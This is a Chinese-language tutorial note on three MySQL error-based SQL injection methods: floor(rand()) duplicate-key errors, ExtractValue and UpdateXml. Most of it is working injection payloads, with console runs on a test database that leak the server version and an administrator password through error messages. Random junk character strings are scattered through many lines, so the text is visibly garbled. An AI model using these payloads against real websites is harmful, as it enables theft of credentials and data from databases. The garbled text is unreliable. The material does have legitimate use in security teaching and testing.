关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
8 X* f0 \% T: l" Y* W* v实际测试环境：
& \' ~% _! s; @" n( t) Q% d​

! A- p. {5 H* N2 t1 |" A+ nmysql> show tables;
5 |! u) A/ k" w% c8 v. t; B! n+----------------+
. @, [: A# }# n| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+

6 t+ o* s2 D' {

mysql> describe admin;
- o  g0 w8 X' B* s" x+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
2 D6 m+ [! @) i6 C7 || id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
2 C& E; m4 t2 R/ m6 b* m% Z| pass  | varchar(50)      | NO   |     | NULL    |                |
" O" ?2 M, ?% j3 M( @5 i5 J3 x+-------+------------------+------+-----+---------+----------------+
$ u; a+ C, {2 J5 b: b


! _" G2 R) u5 x$ |1 g( B6 M: Zmysql> describe article;
) N8 n( [- a1 Q) `- k! K+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
: q' ~' L  E/ w0 ^# p| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
2 p0 V' ]& h/ u( u- j" || content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
. G& ?6 ?4 w; G1、通过floor报错
3 `5 I) t% M1 a可以通过如下一些利用代码
1 P0 h' K; F4 J4 l0 L" x
1 M. w2 A( a4 ^, S8 L, W$ n
( y! N% u- {# |1 S9 W3 Aand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
* k$ x; t4 y5 y: l/ Afrom information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
3 ?7 ~1 ?' W  S7 D* H# ]/ O. V% _floor(rand(0)*2)));
' z9 T2 D9 w3 ~举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
" ^0 l& l, m9 g; [' N2 ^2 B| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
4 D; V! R4 f' {$ F' r7 F假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
( q7 q2 g* X& H' F- Y' f% jERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
% y& h+ A( Z( }9 _可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
& L4 @4 ?5 i& m, ?5 O8 p例如我们需要查询管理员用户名和密码：
' }- ]# \  G* x4 YMethod1:

2 C# @9 l0 G" K1 ^: `$ j( j4 k7 c
mysql> select * from article where id = 1 and (select 1 from
: o5 o4 X: v4 ~1 S3 L9 D0 J) I) O(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
9 T$ o+ M: ^0 f  W8 y. K" Gfrom information_schema.tables group by x)a);
/ I1 j# H" N  _, t  ^# b  VERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
) Y* M8 \& c" pMethod2:
7 s# G9 {5 n$ u, s

* K1 P+ o; }; u& [' ~! D9 cmysql> select * from article where id = 1 and (select count(*)
+ F+ F) a0 A6 e  A" [  e! Cfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
; p; M1 n3 m0 sfloor(rand(0)*2)));
) p7 s/ e% w  P4 c9 ?4 oERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
* {5 G" Q; G* g: f* F# c6 ?2、ExtractValue
测试语句如下


$ e. Z# n3 N( Dand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
( p& }& \; E5 m, W/ _3 @
; U: a% |% W7 V: F8 M, f# Z% `
% Q! W# O5 @+ x4 E: T# G5 Y& D9 {mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
- a9 [' G: ~+ G% _+ }! ~5 v3 }, K# w$ e(select pass from admin limit 1)));--
) u2 w; d3 p, V1 Z/ s. O" U7 J' HERROR 1105 (HY000): XPATH syntax error: '\admin888'
' x5 y1 C- p& l" ~0 p3、UpdateXml
; W4 v) [! m: p' f6 F. ]/ E! @测试语句
  a: H9 D5 K$ J1 @1 y5 K1 y
7 }& s4 D/ s6 q' J- K! W/ q
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
) b8 E7 i; o% m) W1 j9 @3 m实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
) w1 |$ ?; \* h- H(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
8 q) y8 o6 @0 V5 l' m1 G3 p' n" UAll, thanks foreign guys.
' r1 O& H% J) v' ^
+ S3 Z" I8 n: h​